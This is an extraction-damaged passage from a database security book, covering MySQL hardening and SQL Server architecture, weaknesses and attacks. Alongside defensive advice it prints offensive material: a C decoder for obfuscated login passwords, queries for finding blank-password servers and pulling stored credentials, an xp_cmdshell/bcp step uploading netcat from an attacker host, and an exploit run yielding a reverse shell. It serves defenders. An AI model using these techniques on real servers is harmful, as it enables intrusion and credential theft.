Ensure that MySQL users are restricted by IP address as well as passwords
...
4 of the MySQL manual, “The MySQL Access
Privilege System,” for more information
...
Don’t give accounts privileges that they don’t absolutely need, especially File_priv, Grant_priv, and Super_priv
...
qxd
6/3/05
7:07 PM
Page 319
Securing MySQL
8
...
user table
...
Enable logging via the --log option
...
Disable the LOAD DATA LOCAL INFILE command by adding
set-variable=local-infile=0 to the my
...
3
...
If you’re using only local connections, disable TCP/IP connections via
the --skip-networking option
...
Depending on your operating system, and how your data directory is
configured, you might want to disallow the use of symbolic links via
the skip-symbolic-links option
...
Remove the default test database
...
Ensure MySQL traffic is encrypted
...
Check your logs
...
Enumerate users and use the “show grants” statement regularly to see
what privileges are granted to which users
...
Periodically do a quick check on password hashes
...
Here are a few pointers toward good reading material
on MySQL security:
1
...
mysql
...
html
...
Consequently, the security documentation associated with MySQL is very good — up-to-date, fairly comprehensive, and
easily understandable
...
319
30_578014 ch20
...
Visit http://www
...
com/products/mysql/ often, and check
for updates
...
When it does,
it always has a comprehensive change log that details everything that
was added or fixed in the new version
...
It’s obviously up to you to decide if you want to upgrade
to the latest version — the effort of doing so may not be justified in
your particular case — but it’s certainly worth monitoring releases to
see what’s new
...
3
...
Security Focus (http://www
...
com) and ICAT
(http://icat
...
gov/) are excellent sources of information on
security vulnerabilities
...
Depending on your particular circumstances, you might judge it best to
be aware of the problems as soon as the information goes public, rather
than waiting for a patch to be published
...
This section outlines a few things you can do to secure the
host that MySQL is running on
...
Deploy IPTables (Linux), an IPSec filtering rule set (Windows), or some
other host-based firewall software on your MySQL servers
...
It is still surprising how many organizations
have no host-based defenses as part of their standard desktop and
server builds
...
Most Linux distributions have
IPTables built in; this is a highly configurable framework for packet
filtering and manipulation within the Linux kernel
...
30_578014 ch20
...
Use a low-privileged mysql account to run the MySQL daemon
...
By default, MySQL runs
as the local system account under Windows
...
On Unix hosts in particular it is
important not to run MySQL as (for example) “nobody,” because other
daemons may be running under that account, for example Apache
...
For instance, if Apache and MySQL are
both running as “nobody,” anyone who gains control of Apache will
also gain control of the MySQL database
...
Run mysqld with the --chroot option
...
Chroot restricts file access by a process to a
given directory, which means that in the case of mysql, you can ensure
that an attacker doesn’t have the ability to read or write operating system configuration files or configuration files for other daemons on the
host
...
4
...
Specifically, the MySQL user should be prohibited from
reading operating system configuration files
...
This is an extension of the point above, but it applies
to Windows as well
...
This can be achieved by creating appropriate groups and applying appropriate permissions to the MySQL
directories
...
5
...
This is
the flip side of the point above
...
6
...
Ensure that no user other than the MySQL user
can read any MySQL configuration and log files
...
cnf, my
...
info commonly have plaintext usernames and passwords in
them, and the query log file (if present) is likely to contain passwords
...
qxd
322
6/3/05
7:07 PM
Page 322
Chapter 20
not the host participates in replication, you may have plaintext usernames and passwords in certain MySQL configuration files
...
7
...
The more components
attackers can access on a host, the greater the chance of them finding a
component they can use to gain access to the system
...
Keeping the host configuration simple will reduce the problem
...
Make sure you don’t have anything in your
...
By
default on Unix systems you’ll find a
...
It contains a log of all of the queries that you’ve typed into
the mysql command-line client
...
MySQL Users
Once you’ve secured the operating system, you need to lock down MySQL
itself
...
1
...
The reasoning
behind this should be obvious; there is no mechanism in MySQL for
locking out a user if the password is guessed incorrectly a number of
times
...
Setting
strong passwords will help defend against the possibility of an attacker
guessing yours
...
Remove all non-root MySQL users
...
The best approach is to strip the users down to
the barest essentials — the root account — and then build up users as
you need them
...
Rename the root MySQL user to something obscure
...
MySQL attaches no specific meaning to the account name root, so there’s
absolutely no reason why you can’t rename it to something a little more
obscure, like this:
update mysql
...
qxd
6/3/05
7:07 PM
Page 323
Securing MySQL
4
...
This is a slightly trickier configuration step that will enforce SSL encryption on connections from the specified user
...
Depending on how far you are willing to go,
you can also enforce restrictions based on a client-side certificate used
to authenticate with SSL, which is a highly secure option because simple knowledge of a password is not enough — you have to have the
specified certificate as well
...
Create a MySQL user for each web application — or possibly for each
role within each web application
...
Dividing the various roles
within your application into separate user accounts may seem tedious
but it makes good security sense
...
For example, they might be able to read some of the data, but not
update any of it
...
Ensure that MySQL users are restricted by IP address as well as passwords
...
4 of the MySQL manual, “The MySQL Access
Privilege System,” for more information
...
This is an extremely useful feature of MySQL
that most other databases lack
...
The more hurdles you can place in front of attackers, the better
...
When you specify that a user
can log in only from some hostname or domain, MySQL has to look up
the IP address to verify that the IP address in question is a member of
that domain
...
An attacker can compromise your DNS server, or imitate
its response, resulting in your MySQL server believing that it’s talking to a machine in the permitted domain when it isn’t
...
qxd
324
6/3/05
7:07 PM
Page 324
Chapter 20
transmission of the data itself
...
It’s well worth restricting by IP address if you have the option
to do so
...
Don’t give accounts privileges that they don’t absolutely need, especially
File_priv, Grant_priv, and Super_priv
...
Bear in mind
that this account will be able to read all MySQL data, including the
password hashes
...
In versions of MySQL prior to 4
...
They will be able to read the password hashes from the mysql
...
/mysql/user
...
Other
privileges can be just as dangerous
...
Never give anyone (other than root or whatever you call your root
account) access to the mysql
...
In versions prior to 4
...
The mysql tables (user,
db, host, tables_priv, and columns_priv) control the privilege model in
MySQL
...
If users
have permission to write to these tables, they can give anyone any privileges they like
...
1, if they can read the
password hashes from the user table, they can log in as any other user
...
1
...
The “general query log” is considered a debugging feature in the
MySQL documentation, but you may prefer to use the feature as a routine part of your security posture
...
It doesn’t log the results of those queries,
or the data that was returned, but it does give you a good idea of who
has been doing what on your database, so it may be a worthwhile
30_578014 ch20
...
The query log is not enabled by default; you’ll
have to turn it on using the --log option
...
If the log is large, it may contain passwords or other sensitive
information
...
Another interesting point about the query log is that any account that
has FILE privilege (file_priv) can of course read the log file by executing
a statement like
select load_file(‘query
...
log)
...
2
...
cnf file
...
This can be abused by an attacker to
read files on client hosts under certain circumstances
...
If the MySQL server that the web app is connecting to
allows “load data local infile,” the attacker can upload data from the
web server into the MySQL server, where he can analyze it at his leisure
...
Remove any unused UDFs (the default at the time of this writing was
for the mysql
...
UDFs can be exceptionally dangerous
...
If you’re not using UDFs, and you
see them in the mysql
...
4
...
Sometimes there’s no need for remote hosts to connect to MySQL
...
5
...
MySQL symbolic links are supported on the Windows platform, in a
limited fashion involving the creation of a file named
...
qxd
326
6/3/05
7:07 PM
Page 326
Chapter 20
and containing the path to the directory that will contain all of the table
files for that database
...
If
users can modify a symbolic link, they will be able to interact with the
filesystem to a limited extent as though they were the mysql user
...
Remove the default test database
...
Knowledge of a valid database name that he can access may be useful to an
attacker, so the default test database should be removed
...
Ensure MySQL traffic is encrypted
...
This means that if an attacker
can eavesdrop on the connection between the client and the server, he
can obtain usernames and password challenge/response sequences
...
1, it is possible to determine the password hash from the challenge/response sequence
...
1, but still possible
...
0 onward has support for SSL-encrypted connections
between the client and server, making a brute-force attack on the password hash almost impossible
...
The best way to ensure that an SSL
connection is actually being used is to specify the REQUIRE SSL clause
in the GRANT statement that creates a user, or to manually set the
ssl_type field in the mysql
...
Routine Audit
Once everything’s up and running, you shouldn’t make the mistake of leaving
MySQL to run without administration
...
Who knows,
they might return armed with some 0-day overflow exploit and be successful
the next time they try
...
1
...
If you’ve configured the query log with the --log option, you should
check it regularly to see what’s been going on
...
It’s important to check the error logs regularly as well, though they
tend not to be as informative as the query log
...
qxd
6/3/05
7:07 PM
Page 327
Securing MySQL
Remember when interacting with logs that log data can be highly sensitive; if you’re importing it into some other repository (such as a database) for analysis, remember that the query log may contain usernames
and passwords
...
Enumerate users and use the “show grants” statement regularly to see
what privileges are granted to which users
...
user;
+-------+-----------+
| user | host
|
+-------+-----------+
| monty | %
|
| root | localhost |
+-------+-----------+
2 rows in set (0
...
* TO ‘monty’@’%’ IDENTIFIED BY PASSWORD
‘5d2e19393cc5ef67’ |
| GRANT SELECT ON `test`
...
00 sec)
mysql> show grants for ‘root’@’localhost’;
+--------------------------------------------------------------------------------------------------------------+
| Grants for root@localhost
|
+--------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *
...
00 sec)
So you can see that there are two users in the database, root@localhost
and monty, who can log on from any host but have select privileges only
in the test database
...
qxd
328
6/3/05
7:07 PM
Page 328
Chapter 20
3
...
Hashes in MySQL are unsalted, which means that the same password
always hashes to the same value
...
user;
+-------+------------------+
| user | password
|
+-------+------------------+
| root | 5d2e19393cc5ef67 |
| monty | 5d2e19393cc5ef67 |
+-------+------------------+
2 rows in set (0
...
In this case, monty
and root have the same password (which incidentally is “password”);
this is probably not desirable
...
qxd
6/3/05
7:12 PM
Page 329
PA R T
VII
SQL Server
31_578014 pt07
...
qxd
6/3/05
7:06 PM
Page 331
CHAPTER
21
Microsoft SQL Server
Architecture
SQL Server Background
Microsoft Corporation’s relational database server SQL Server is a relative newcomer to the market in comparison to the more established Oracle and IBM’s
DB2; however it has quickly achieved a considerable market share
...
1% share of the global database market, behind Oracle at 39
...
6%
...
The first incarnation of Microsoft SQL Server was released in 1992 with a
beta release for Windows NT
...
The first official release was named SQL
Server 4
...
Although SQL
Server was initially developed from Sybase’s SQL Server code-base, the working relationship ended with the release of SQL Server 6
...
After this point,
when SQL Server became a purely Microsoft product, the quantity of original
Sybase code in the product decreased in subsequent releases; SQL Server 7
...
The latest available version is SQL
331
32_578014 ch21
...
SQL Server’s security history, in common with all other popular database
servers, has been somewhat mixed
...
Microsoft ships a stripped-down royalty-free version of the SQL Server
engine, known as the Microsoft Data Engine (MSDE), which is included with
many products that need to store and retrieve information from a database
...
SQL Server Versions
Microsoft ships a number of different versions of SQL Server 2000 to cater
to different user requirements and platforms
...
Table 21-1 describes
the various versions of SQL Server available and their essential differences
...
This version runs only on
Windows Server operating systems
...
Standard Edition
This version is similar to the Enterprise Edition but lacks
Virtual Interface System Area Network (VI SAN) support
and some advanced OLAP features
...
Designed to support a maximum of
five database users
...
The Microsoft document, “Choosing an Edition of SQL Server 2000” (http://
www
...
com/sql/techinfo/planning/ChoosEd
...
32_578014 ch21
...
This section examines the typical deployment
of the server, the behavior of its low-level network protocols, and authentication procedures
...
This introduces a narrow range of server configurations in comparison to Oracle, for example, which is currently available for 26 combinations
of operating systems and server hardware
...
The Microsoft Data Engine (MSDE), a very basic version of SQL Server, is
often installed along with Windows applications that require a simple database to organize their information
...
System administrators, and even the user, are often unaware of MSDE installations on a particular host
...
Tabular Data Stream (TDS) Protocol
The native network protocol used by a SQL Server to communicate with connected clients is known as the Tabular Data Stream (TDS) protocol
...
In order
for an attacker to breach security at the network layer it is necessary to use custom network code, because the functionality offered by standard SQL Server
clients such as Query Analyzer do not allow for the required freedom in protocol packaging
...
This issue affected both SQL
Server 7 and 2000, together with MSDE, and was patched by Microsoft in October 2002 (http://www
...
com/technet/security/bulletin/
MS02-056
...
The Metasploit Framework (http://metasploit
...
333
32_578014 ch21
...
ethereal
...
tcpdump
...
The Microsoft security bulletin MS99-059 (http://www
...
com/technet/security/bulletin/ms99-059
...
The
problem arises if a TDS packet is sent with the packet size information in its
header set to a value that is smaller than the minimum allowed size
...
The TDS protocol has been expanded beyond Windows machines
...
freetds
...
Network Libraries
SQL Server can be set up to use a variety of different network libraries (netlibs)
that are used by connecting clients
...
This is the favored netlib for most SQL Server clients
...
This requires that Windows
authentication is used on the server, and network speeds can be slower than
simple TCP/IP
...
It is not used, however, if the client is connecting to a SQL Server on the
same machine
...
By removing
all other protocols the Shared Memory netlib can also be used to accept only
connections from local clients — the SQL Server will still be able to move replication data to other servers but all incoming network connections are rejected
...
Other protocols supported by SQL Server are AppleTalk, Banyan Vines, Multiprotocol, NWLink IPX/SPX, and VIA (Virtual Interface Architecture) GigaNet
SAN (System Area Networks)
...
SQL Server Processes and Ports
The main SQL Server process sqlservr
...
qxd
6/3/05
7:06 PM
Page 335
Microsoft SQL Server Architecture
evade casual port scans
...
This behavior is used by Chip Andrews’ utility SQLPing (sqlsecurity
...
168
...
121
SQLPinging
...
168
...
121
----------------------------ServerName
: SERVERNAME
InstanceName : MSSQLSERVER
IsClustered : No
Version
: 8
...
194
np
: \\SERVERNAME\pipe\sql\query
tcp
: 1433
True Version : 8
...
818
SQLPing Complete
...
Attacks on the SQL Monitor port are possible when the query
packet is set to values other than 0x02; these are discussed in greater detail later
in this chapter
...
com/DesktopDefault
...
SQLPing is
especially effective when used against a subnet’s broadcast IP address because
many obscure development SQL Servers or MSDE installations are often
detected
...
SQL Server will now no longer respond to broadcast requests
from clients looking for servers
...
Access violations can also occur in the client when using this feature (http://
support
...
com/default
...
The SQL Server service manager runs as the process sqlmangr
...
The Microsoft command-line tool Osql can also be used to detect SQL Servers
on a network
...
255
...
255 using the
same “discovery byte” of 0x02 that SQLPing employs
...
qxd
336
6/3/05
7:06 PM
Page 336
Chapter 21
The Windows Server Controller tool sc
...
This involves using a tool such as nmap (http://
www
...
org/nmap) to scan for machines that are listening on TCP
port 1433, but obviously this will not detect servers running on non-standard
ports
...
Among
the most commonly used are:
■■
AppDetective from Application Security Inc
...
appsecinc
...
iss
...
php)
■■
NGSSQuirreL from Next Generation Security Software (http://
www
...
com/squirrelsql
...
Both
the BugTraq mailing list archive (http://www
...
com/bid)
and the ICAT Metabase (http://icat
...
gov) contain detailed information about SQL Server vulnerabilities together with CVE (Common Vulnerabilities and Exposures) numbers for cross-referencing
...
sqlsecurity
...
aspx?tabid=37) provides mappings between the SQL
Server’s version and its service pack and patch level
...
Authentication involves checking the identity of the connecting user and controlling
access to the database environment, whereas authorization decides which
databases and objects the connected user should be allowed to access
...
32_578014 ch21
...
To successfully
authenticate, the user’s login must map to a Windows NT/2000 user or group
with access to the SQL Server’s domain
...
The authentication method used by the server can be set in the SQL Server
Enterprise Manager, or by setting the following registry values:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\[Instance]\LoginMode
A value of 1 signifies Windows authentication; 2 denotes both native and
Windows authentication
...
This means that
instead of securely hashing the sensitive data, an easily reversible transformation is applied
...
Figure 21-1 Packet dump of the authentication process
...
qxd
338
6/3/05
7:06 PM
Page 338
Chapter 21
The obfuscated password is highlighted showing that every other byte is set
to 0xA5
...
The SQL Server client first
converts the password string to the Unicode character set, then swaps around
the first nibble (4 bytes) of each byte of the password, and finally performs an
XOR (exclusive OR) logical operation on the output with the value 0xA5
...
Any
password sent using native authentication therefore can be easily discovered
...
h>
int main(int argc, char *argv[])
{
unsigned int index = 0, temp, is_null = 0, input_length;
char input[256], output[256], hexbyte[2];
if (argc != 2)
{
printf(“\nUsage: %s [obfuscated password]\n\ne
...
%s
92A5F3A593A582A596A5E2A597A5\n”, argv[0], argv[0]);
return 0;
}
strncpy(input, argv[1], 256);
input_length = strlen(input);
printf(“\nThe password is: “);
while ((index < input_length) && (index < 256))
{
hexbyte[0] = input[index];
hexbyte[1] = input[index + 1];
hexbyte[2] = 0;
// convert hex string to an integer
temp = HexToInt(hexbyte);
// XOR with A5
temp = temp ^ 0xA5;
// swap nibbles
temp = ((temp >> 4 ) | (temp << 4));
// output every other password letter
if (!is_null)
printf(“%c”, temp);
index += 2;
// flip is_null to opposite value
is_null = (is_null) ? 0 : 1;
} // end while
printf(“\n”);
return 0;
32_578014 ch21
...
This is usually used to retrieve data from
a remote OLE DB data source and is commonly called using the following
arguments:
OLE DB Provider for ODBC (MSDASQL):
select * from OPENROWSET(‘MSDASQL’,’DRIVER={SQL
Server};SERVER=;uid=sa;pwd=password’,’select @@version’)
OLE DB Provider for SQL Server (SQLOLEDB):
select * from OPENROWSET(‘SQLOLEDB’,’’,’sa’,’password’,’select
@@version’)
By default in SQL Server 2000, low-privileged users are not allowed to execute
using MSDASQL, but they can use the SQLOLEDB syntax
...
Early versions of SQL Server 2000 will reveal
the Windows account that SQL Server is using if an invalid OPENROWSET
command is given:
select * from OPENROWSET(‘SQLOLEDB’,’’;;,’’)
Server: Msg 18456, Level 14, State 1, Line 1
339
32_578014 ch21
...
By default all users can execute the extended stored procedure xp_
execresultset
...
The existence of these files can be confirmed using the undocumented extended stored procedures xp_fileexist and xp_dirtree, which are
used to test whether a particular file exists and list a directory’s subdirectories,
respectively
...
Jet
...
4
...
0;
Database=C:\spreadsheet
...
Jet
...
4
...
mdb’;
’admin’;’’,Table1)
OPENROWSET can also be used to search the network for other SQL Servers
with weak or blank passwords:
select * from OPENROWSET(‘SQLOLEDB’,’192
...
0
...
168
...
2’;’sa’;’’,’select
@@version’)
select * from OPENROWSET(‘SQLOLEDB’,’192
...
0
...
Ad-hoc queries can be disabled on
a particular data provider by setting the registry value DisallowAdhocAccess
to 1 under the key
HKEY_LOCAL_MACHINE\Software\Microsoft\MSSQLSERVER\Providers\[Provider
name]
32_578014 ch21
...
This section details security issues within this infrastructure, including potential abuse of stored procedures and triggers, and exploiting
problems with the methods used to encrypt sensitive data
...
Stored procedures are
pre-compiled functions written in Transact-SQL, an extended version of Structured Query Language that includes additional high-level programming language constructs such as variables, loops, and conditional logic
...
The security issues that have historically affected stored procedures are varied, and include conventional buffer overflows from within passed arguments,
susceptibility to Trojanning, and inadequate execution permissions on powerful procedures
...
The high-risk system and extended stored procedures that would especially
interest an attacker are those that allow registry access, provide operating system functionality or return information about the SQL Server environment
itself
...
Registry values can be retrieved using
EXEC xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\MSSQLServer\
Setup’,’SQLPath’
The security context SQL Server is running under can be retrieved from the
registry key:
EXEC xp_regread ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
MSSQLSERVER’,’ObjectName’
A full list of dangerous extended stored procedures is provided in Appendix B
...
qxd
342
6/3/05
7:06 PM
Page 342
Chapter 21
The behavior of the xp_readerrorlog procedure is interesting because it can
be used to output any file on the server (including binary files):
exec master
...
On some versions of SQL
Server, when an installation is performed using native authentication, the
sa password is saved in clear text to a number of files
...
iss file in the Windows folder and the sqlsp
...
On SQL Server 2000 the password is saved to the files
sqlstp
...
log, and setup
...
Microsoft provides a program killpwd
...
microsoft
...
aspx?scid=KB;en-us;263968&), which can be used to
remove all traces of saved passwords from a SQL Server installation
...
This may be in part due to the fact that many
overflows were part of the same issue — an overflow in the helper function
srv_paraminfo(), which helps XPs parse input parameters
...
In this case an overflow would most likely be used to spawn a
reverse shell back to a listening netcat on the attacker’s machine using port 53
because traffic on this port is commonly allowed through firewalls because of
the need for DNS servers to perform zone transfers
...
This procedure is vulnerable to an
argument-based buffer overflow in SQL Server 2000 with no service packs and
SQL Server 7
...
atstake
...
txt)
...
If an attacker has gained access to the filesystem, he will often install Trojan
stored procedures by replacing the existing SQL Server dlls
...
The dll’s
32_578014 ch21
...
A commonly targeted stored procedure is sp_password, which is used to change a
user’s password
...
An attacker who is already a member of the ddladmin role could alter a
stored procedure owned by dbo, so that when it is run his privileges are escalated to system administrator:
alter proc dbo
...
A basic encryption mechanism is provided to protect the source from
casual viewing, which is invoked on creation using
CREATE PROC [name] WITH ENCRYPTION
The encryption uses a symmetric key derived from a SHA (Secure Hash Algorithm) hash of a number of database environment variables including the GUID
(globally unique ID) and the object ID in the syscomments table
...
Both the tool dSQLSRVD (http://www
...
com/
d0mn4r/dSQLSRVD
...
sql (http://
www
...
com/DesktopDefault
...
The commercial tool SQLShield (http://www
...
com)
encrypts stored procedures in such a way that they cannot be decrypted using
dSQLSRVD
...
qxd
344
6/3/05
7:06 PM
Page 344
Chapter 21
access controls
...
xp_cmdshell ‘’dir > c:\
foo
...
Execute permissions on these three procedures should be revoked to the public role, and permissions only granted to those users who specifically require
them
...
To achieve
this it is useful to have attack tools on the server
...
exe’ with (codepage=’RAW’)
Setting the code page to RAW prevents any attempted conversion of the
binary data to a character string
...
168
...
1) would now run
the following on the target server:
exec xp_cmdshell ‘bcp “select * from temp” queryout nc
...
168
...
1 –Usa -Ppassword
Assuming the transfer is not blocked by a firewall, the data will be streamed
from the temp table on the attacker’s server to the file nc
...
The uploaded binary can now be executed using xp_cmdshell
...
The action will be performed with the privileges of the SQL Server
service, which often runs under the local system account
...
qxd
6/3/05
7:06 PM
Page 345
Microsoft SQL Server Architecture
source code is an example of a Trojanned version of the procedure xp_msver;
it should be linked with the library odbc32
...
h>
#include
c /link odbc32
...
Solutions exist to defend against this file baselining, such as TripWire
(http://www
...
com), which can detect changes to system files
...
Global Temporary Stored Procedures
Global temporary stored procedures are mainly used for backward compatibility with earlier versions of SQL Server that do not support T-SQL execution
plan reuse
...
Private temporary stored
procedures, however, are only accessible by their owner
...
qxd
346
6/3/05
7:06 PM
Page 346
Chapter 21
Private temporary procedures are created using a single hash (#), and their
usage is recommended wherever possible
...
xp_cmdshell ‘dir’
This would execute whether or not the user had permissions on xp_cmdshell
...
microsoft
...
mspx)
...
dbo
...
Triggers
Triggers in SQL Server 2000 are SQL scripts that are automatically executed
when a particular event, such as a select, update, or delete action, occurs
against a specific table
...
A trigger to prevent company names from being altered in the Company
table of the SQL Server sample Northwind database would be
USE Northwind
GO
CREATE TRIGGER CompNameTrigger on Customers FOR UPDATE AS
IF UPDATE(CompanyName)
BEGIN
RAISERROR (‘Error: The company name cannot be changed
...
Triggers can be created using the same WITH ENCRYPTION option that is
used with custom stored procedures:
32_578014 ch21
...
As before the tool dSQLSRVD (http://www
...
com/d0mn4r/
dSQLSRVD
...
It should not be
relied upon to protect data from database system administrators
...
A trigger can be used to create a false error message that confuses connecting applications and clients and can lead to a denial of service
...
Users and Groups
Privilege management in SQL Server is simplified by the use of a number of
built-in security roles detailed in this section
...
Account Information
All user account information in SQL Server is stored in the sysxlogins table in
the master database
...
qxd
348
6/3/05
7:06 PM
Page 348
Chapter 21
The accounts created initially during installation are sa (system administrator) and BUILTIN\Administrators, an account that grants system administrator privileges to any Windows account in the Local Administrators group
...
In SQL Server 2000 it is somewhat more difficult to set a blank
password during the install process than earlier versions, but it is still possible
...
The SQL Server worm Spida
(http://xforce
...
net/xforce/xfdb/9124), first noticed in May 2002,
propagated via servers with no sa password set and attempted to export an
infected machine’s Windows SAM password file
...
5 create a user named “probe” used by the SQL
Server Performance Monitor
...
A SQL Server distributor is an instance that manages replication of data
from the source instance (publisher) to the target instance (subscriber)
...
Frequently this is removed or changed to
something easier to remember, and easier to guess
...
The server roles are
■■
bulkadmin: Allows execution of the BULK INSERT statement, used to
stream files into database tables and views
■■
dbcreator: Allows creation and management of databases
■■
diskadmin: Allows management of physical storage such as data and
log files
■■
processadmin: Allows management of the SQL Server processes
■■
securityadmin: Allows the creation and deletion of users, audit management, and reading error logs
■■
serveradmin: Can change configuration settings and shut down the
server
32_578014 ch21
...
The procedures used
to add and remove members are add_srvrolemember and drop_srvrolemember
...
The defined SQL Server fixed database roles are
■
■
db_accessadmin: Allows members to add and remove users in the
database
■
■
db_backupoperator: Users can back up databases and logs
■
■
db_datareader: Grants SELECT permission on all objects in the database
■
■
db_datawriter: Grants DELETE, INSERT, and UPDATE permissions on
all objects in the database
■
■
db_ddladmin: Allows execution of all data-definition language (DDL)
statements except those that change object permissions
■
■
db_denydatareader: Removes SELECT permissions within the database from its members
■
■
db_denydatawriter: Removes DELETE, INSERT, and UPDATE permissions within the database from its members
■
■
db_owner: Members can perform any action within the database
■
■
db_securityadmin: Allows management of the database’s roles and
object permissions
The PUBLIC role is created in every SQL Server database, and contains
every database user
...
SQL Server also allows the creation of User-Defined Roles; these simplify permissions management by grouping users according to the privileges
they require
...
The procedures sp_addrole,
sp_addrolemember, sp_spdroprole, and sp_droprolemember are used to manage User-Defined Roles
...
Application roles are used to control the permissions of applications that
access the database
...
This prevents users from accessing
the database server using alternative clients such as Osql or Query Analyzer to
bypass the restrictions
...
349
32_578014 ch21
...
The passwords are encrypted using a proprietary hashing algorithm, which is
accessed using the inbuilt function pwdencrypt
...
The sa user’s password hash, for example, can be viewed using
SELECT password FROM master
...
sysxlogins WHERE name = ‘sa’;
This will return a hash of a similar length and format to the following:
0x0100552B2146825C68C3F67F92930D7D037C3C5A724FE8CD8BAF825C68C3F67F92930D
7D037C3C5A724FE8CD8BAF
When the SQL Server password function is fed the current sa password,
however, a completely different hash is produced, as shown here:
SELECT pwdencrypt(‘[sa password]’);
0x0100112B6C5474911C3A5BCD37F3EB4F3D9BB872910910041FD174911C3A5BCD37F3EB
4F3D9BB872910910041FD1
Running the same query moments later produces yet another, different
hash
...
A salt is a value that is generated when the hash of
a password is needed
...
The salt can then be stored in plaintext
together with the resultant hash, and will be combined in the future with supplied passwords before hashing and comparing to the stored hash value for
user authentication
...
The first SQL Server hash shown above can be broken down as follows:
0x0100
552B2146
825C68C3F67F92930D7D037C3C5A724FE8CD8BAF
825C68C3F67F92930D7D037C3C5A724FE8CD8BAF
The first line is a constant hash header, the second is the time-dependent hash,
and the third and fourth hold the hash of the normal case-sensitive password
and the password converted to uppercase, respectively
...
The storage of an uppercase representation of the password effectively removes all benefit gained by selecting a
32_578014 ch21
...
The time-based salt is created using a number of C function calls
...
Two calls to rand() then produce two pseudorandom integers, which are converted by SQL Server to short data types and
then put together to give a single integer value
...
In his paper, “Microsoft SQL
Server Passwords” (http://www
...
com/papers/crackingsql-passwords
...
A commercial audit tool, NGSSQLCrack,
is also available from NGSSoftware (http://www
...
com/
sqlcrack
...
It is strongly recommended that the more secure Windows
authentication is used with SQL Server whenever possible
...
It can use either Windows authentication or a supplied username and password pair for the SQL Server in order to allow it to login and interact with the database
...
sysinternals
...
shtml) when the account
information is set the Windows Local Security Authority Service (lsass
...
The stored procedure sp_get_SQLagent_properties is
used to retrieve information about the agent:
exec msdb
...
The decryption function is exported from semcomn
...
qxd
352
6/3/05
7:06 PM
Page 352
Chapter 21
decrypt SQL Server Agent password hashes (http://jimmers
...
ru/agent_pwd
...
Checking the default privileges on sp_get_SQLagent_properties:
use msdb
exec sp_helprotect sp_get_SQLagent_properties
returns
Owner
Object
ProtectType
Action
dbo
sp_get_sqlagent_properties
Execute
Grantee
public
Grantor
dbo
Grant
By default the public role has execute permissions on sp_get_SQLagent_
properties
...
Role Passwords
Application roles are activated using an obfuscated password as an added
measure of security; this algorithm is part of the client’s ODBC (Open Database Connectivity) driver
...
” The password is converted to the Unicode character set, effectively alternating null bytes
throughout the string, and then it is XORed with the constant value 0xA5 before
it is transmitted
...
A stored procedure (decrypt_odbc_sql
...
com
(http://www
...
com/DesktopDefault
...
DTS Package Passwords
DTS (Data Transformation Services) are a feature of SQL Server that enable
data from multiple different sources to be manipulated and consolidated easily
...
qxd
6/3/05
7:06 PM
Page 353
Microsoft SQL Server Architecture
parallel and connect to data sources, retrieve data, perform transformations, or
export data
...
Two stored procedures exist in the msdb database, sp_enum_dtspackages
and sp_get_dtspackage, which can be executed by the public role by default
...
Sp_get_dtspackage takes three arguments — the
package name, the package id, and the package version — all of which are
returned by sp_enum_dtspackages
...
To protect against this
type of attack, permissions on the DTS package stored procedures should be
restricted to database administrators
...
If native authentication is used, credentials are saved in
plaintext to the table RTblDBMProps in the msdb database
...
RTblDBMProps where Col11119 = ‘sa’
Permissions on this table should be restricted to database administrators to
prevent password disclosure
...
Replication Passwords
SQL Server’s replication features allow data to be distributed easily from one
database server to another, and simplify its synchronization
...
Replication features
also provide the ability to easily keep a fail-over server up to date, which can
be used to take over if a main server is unavailable for any reason
...
In pre-Service Pack 3 installs of SQL Server 2000, creating a natively authenticating subscription to a publication on a SQL Server using the Enterprise Manager will write the encrypted password to a registry value
...
qxd
354
6/3/05
7:06 PM
Page 354
Chapter 21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\80\
Replication\Subscriptions\[PublisherServerName]:[PublisherDatabaseName]:
[PublicationName]:[SubscriberServerName]:[SubscriberDatabaseName]
The undocumented extended stored procedure xp_repl_help_connect,
used to test connections to replication servers, can also be used to decrypt the
password:
declare @password nvarchar(256)
set @password = ‘[encrypted password]’
exec xp_repl_help_connect @password OUTPUT
select @password
By default all users have read access to the encrypted password in the registry
...
If this is not possible, permissions on all registry stored procedures, especially xp_regread and xp_instance_regread, should
be tightly locked down
...
qxd
6/3/05
7:10 PM
Page 355
CHAPTER
22
SQL Server: Exploitation,
Attack, and Defense
Exploitation
This chapter covers the ways in which SQL Server can be attacked on a network level, and the methods often used by attackers to hide evidence of their
intrusion
...
Exploiting Design Flaws
In Chapter 21, the section SQL Server Processes and Ports described the usage of
SQLPing to determine information about the database using a single-byte
UDP query packet sent to the SQL Monitor service on port 1434
...
Clearly, the unexpected
input has not been handled gracefully and further investigation is needed
...
355
33_578014 ch22
...
When SQL Server receives a UDP packet on its monitor port with the leading byte set to 0x04, the SQL Monitor thread uses the
remainder of the packet to form a registry key to open
...
The following example sends a
packet made up of a leading 0x04 followed by the hexadecimal ASCII codes
for the string REGKEY
...
An exploit for this issue is widely available
...
atstake
...
exe target host 53 0
The successful exploit causes the netcat window to spring into life:
C:\> nc –l –p 53
Microsoft Windows 2000 [Version 5
...
2195]
(C) Copyright 1985-2000 Microsoft Corp
...
\x08 Leading Byte Heap Overflow
A single-byte UDP packet with a value of 0x08 will bring down the SQL Server
entirely
...
qxd
6/3/05
7:10 PM
Page 357
SQL Server: Exploitation, Attack, and Defense
attack, with some investigation it can be developed into a heap overflow with
the potential for execution of arbitrary code
...
exe process before the packet is sent reveals that the final function
called before the crash occurs is strtok(), a C library function used to retrieve
substrings from a token-delimited longer string
...
The token search value passed to strtok() in this instance is 0x3A, which
equates to the ASCII colon (:)
...
Passing the NULL value to atoi() results in the application throwing an unhandled exception and crashing the server
...
This time the pointer
passed to atoi() is valid, but there is no following ASCII string for it to convert
into an integer
...
The
pattern suggested by the results of the tests is that SQL Server is expecting a
string in the format [hostname]:[port]
...
\x0A Leading Byte Network DoS
If a vulnerable SQL Server receives a UDP packet with a leading byte of 0x0A
it will respond by sending a single-byte packet of 0x0A back to the originating
machine
...
The critical issue here arises because of the simplicity of spoofing the
originating IP address of a UDP packet
...
